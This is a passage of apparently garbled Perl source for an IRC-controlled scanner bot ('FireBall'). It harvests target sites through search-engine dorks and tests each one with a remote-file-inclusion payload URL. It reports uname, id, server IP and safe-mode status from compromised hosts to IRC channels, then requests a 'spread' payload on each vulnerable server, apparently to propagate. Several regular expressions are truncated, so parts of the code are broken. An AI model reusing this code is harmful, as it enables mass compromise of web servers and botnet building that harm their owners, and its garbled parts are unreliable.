12[]8[]4[] ".scalar(@tot)."3 for exploited... 4 ".scalar(@puliti)."3 => 4$dork"); my $uni = scalar(@puliti); foreach my $site (@puliti) { $contatore++; if ( $contatore % 100 == 0 ) { } if ( $contatore == $uni - 1 ) { display( $dsp,"PRIVMSG $channel :7[3$channel7] 4F3i6r7e4B7a12ll 4FINISHED 7for 4$dork 12[]8[]4[]"); } my $test = "http://".$site.$bug.$id."?"; my $print = "http://".$site.$bug.$printcmd."?"; my $req = HTTP::Request->new( GET => $test ); my $ua = LWP::UserAgent->new(); $ua->timeout(5); my $response = $ua->request($req); if ( $response->is_success ) { my $re = $response->content; if ( $re =~ /princeteam1979/ && $re =~ /uid=/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Result..."); display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Uptime: $up"); display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Uname -a: $un"); display( $dsp,"PRIVMSG $admin :4[4F3i6r7e4B7a12ll4] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Id: $id1"); display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Pwd: $pwd1"); display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Server Name: $name1"); display( $dsp,"PRIVMSG $admin :4[4F3i6r7e4B7a12ll4] Safe: $print"); display( $dsp,"PRIVMSG $chanres :4[4F3i6r7e4B7a12ll4] Safe Mode OFF: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } elsif ( $re =~ /princeteam1979/ ) { my $hs = geths($print); $hosts{$hs}++; if ( $hosts{$hs} == "1" ) { $x = os($test); ( $type, $space ) = split( /\,/, $x ); sleep(4); display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Result..."); display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Safe Mode ON: $print"); display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Uname -a: $un"); display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Server Ip: $ip1"); display( $dsp,"PRIVMSG $channel :4[4F3i6r7e4B7a12ll4] Server Name $name1"); display( $dsp,"PRIVMSG $chanres :4[4F3i6r7e4B7a12ll4] Safe Mode ON: $print"); my $test2 ="http://".$site.$bug.$spread."?"; my $reqz = HTTP::Request->new( GET => $test2 ); my $ua = LWP::UserAgent->new(); my $response = $ua->request($reqz); } } } } } exit; } } } sub display() { if ( $#_ == '1' ) { my $dsp = $_[0]; print $dsp "$_[1]\n"; } else { print $dsp "$_[0]\n"; } } sub os() { my $site = $_[0]; my $Res = query($site); while ( $Res =~ m/
uname -a:(.+?)\
/g ) { $un = $1; } while ( $Res =~ m/
uptime:(.+?)\
/g ) { $up = $1; } while ( $Res =~ m/
id:(.+?)\
/g ) { $id1 = $1; } while ( $Res =~ m/
pwd:(.+?)\
/g ) { $pwd1 = $1; } while ( $Res =~ m/
php:(.+?)\
/g ) { $php1 = $1; } while ( $Res =~ m/
software:(.+?)\
/g ) { $sof1 = $1; } while ( $Res =~ m/
server-ip:(.+?)\
/g ) { $ip1 = $1; } while ( $Res =~ m/
server-name:(.+?)\
/g ) { $name1 = $1; } while ( $Res =~ m/
os:(.+?)\
/g ) { $os = $1; } while ( $Res =~ m/
free:(.+?)\
/g ) { $free = $1; } while ( $Res =~ m/
used:(.+?)\
/g ) { $used = $1; } while ( $Res =~ m/
total:(.+?)\
/g ) { $all = $1; } } sub googlet { my @dominios = ( "ae", "com.ar", "at", "com.au", "be", "com.br", "ca", "ch", "cl", "de", "dk" ); my @country = ( "AE", "AR", "AT", "AU", "BE", "BR", "CA", "CH", "CL", "DE", "DK" ); my @lst; my $key = key( $_[0] ); my $c = 0; foreach my $i (@dominios) { my @lista = google( $i, $key, $country[$c] ); push( @lst, @lista ); $c++; } return @lst; } sub google() { my @lst; my $i = $_[0]; my $key = $_[1]; my $country = $_[2]; for ( $b = 0 ; $b <= 100 ; $b += 100 ) { my $Go = ( "www.google." . $i . "/search?hl=en&q=" . key($key) . "&num=100&start=" . $b . "&meta=cr%3Dcountry" . $country ); my $Res = query($Go); while ( $Res =~ m/\"]*)\//g ) { if ( $1 !~ /google/ ) { my $k = $1; my @grep = links($k); push( @lst, @grep ); } } } return @lst; } sub alltheweb() { my @lst; my $key = $_[0]; my $i = 0; my $pg = 0; for ( $i = 0 ; $i <= 1000 ; $i += 100 ) { my $all = ( "http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=" . key($key) . "&o=" . $i ); my $Res = query($all); while ( $Res =~ m/http:\/\/(.+?)\<\/span>/g ) { my $k = $1; $k =~ s/ //g; my @grep = links($k); push( @lst, @grep ); } } return @lst; } sub altavista() { my @lst; my $key = $_[0]; for ( $b = 1 ; $b <= 1000 ; $b += 10 ) { my $AlT = ( "http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=" . key($key) . "&stq=" . $b ); my $Res = query($AlT); while ( $Res =~ m/(.+?)\//g ) { if ( $1 !~ /altavista/ ) { my $k = $1; $k =~ s/Succ/ ) { } else { return @lst; } } return @lst; } sub uolsub() { my @lst; my $key = $_[0]; for ( $b = 1 ; $b <= 1000 ; $b += 10 ) { my $UoL = ( "http://busca.uol.com.br/www/index.html?q=" . key($key) . "&start=" . $i ); my $Res = query($UoL); while ( $Res =~ m/\"]*)/g ) { my $k = $1; if ( $k !~ /busca|uol|yahoo/ ) { my $k = $1; my @grep = links($k); push( @lst, @grep ); } } } return @lst; } sub search() { my $key = $_[0]; my $i = 1; my $pg = 80; my @lst; my $av = 1; while ( $i <= $pg ) { my $search = "http://www.search.com/search?q=$key"; my $req = HTTP::Request->new( GET => $search ); my $ua = LWP::UserAgent->new(); $ua->agent('Netscape 4.78/U.S., 25-Jun-01; (c) 1995-2000'); my $response = $ua->request($req); my $resp = $response->content; while ( $resp =~ m/\"]*)\//g ) { if ( $1 !~ /msn|live/ ) { my $k = $1; my @grep = links($k); push( @lst, @grep ); } } } return @lst; } sub ask() { my @lst; my $key = $_[0]; my $i = 0; my $pg = 0; for ( $i = 0 ; $i <= 1000 ; $i += 10 ) { my $Ask = ( "http://it.ask.com/web?q=" . key($key) . "&o=312&l=dir&qsrc=0&page=" . $i . "&dm=all" ); my $Res = query($Ask); while ( $Res =~ m/new( PeerAddr => "$host", PeerPort => "80", Proto => "tcp" ) or return; print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n"; my @r = <$sock>; $page = "@r"; close($sock); }; return $page; } sub get_link() { my $file_print = $_[1]; my $link = $_[0]; my $host = $_[0]; my $host_dir = $_[0]; my @links; $host_dir =~ s/(.*)\/[^\/]*$/\1/; $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; $host_dir = &end($host_dir); $host = &end($host); $link = &end($host); push( @links, $link, $host, $host_dir ); open( $file, '>>', $file_print ); print $file "$link\n$host_dir\n$host\n"; close($file); return @links; } sub unici { my @unici = (); my %visti = (); foreach my $elemento (@_) { $elemento =~ s/\/+/\//g; next if $visti{$elemento}++; push @unici, $elemento; } return @unici; }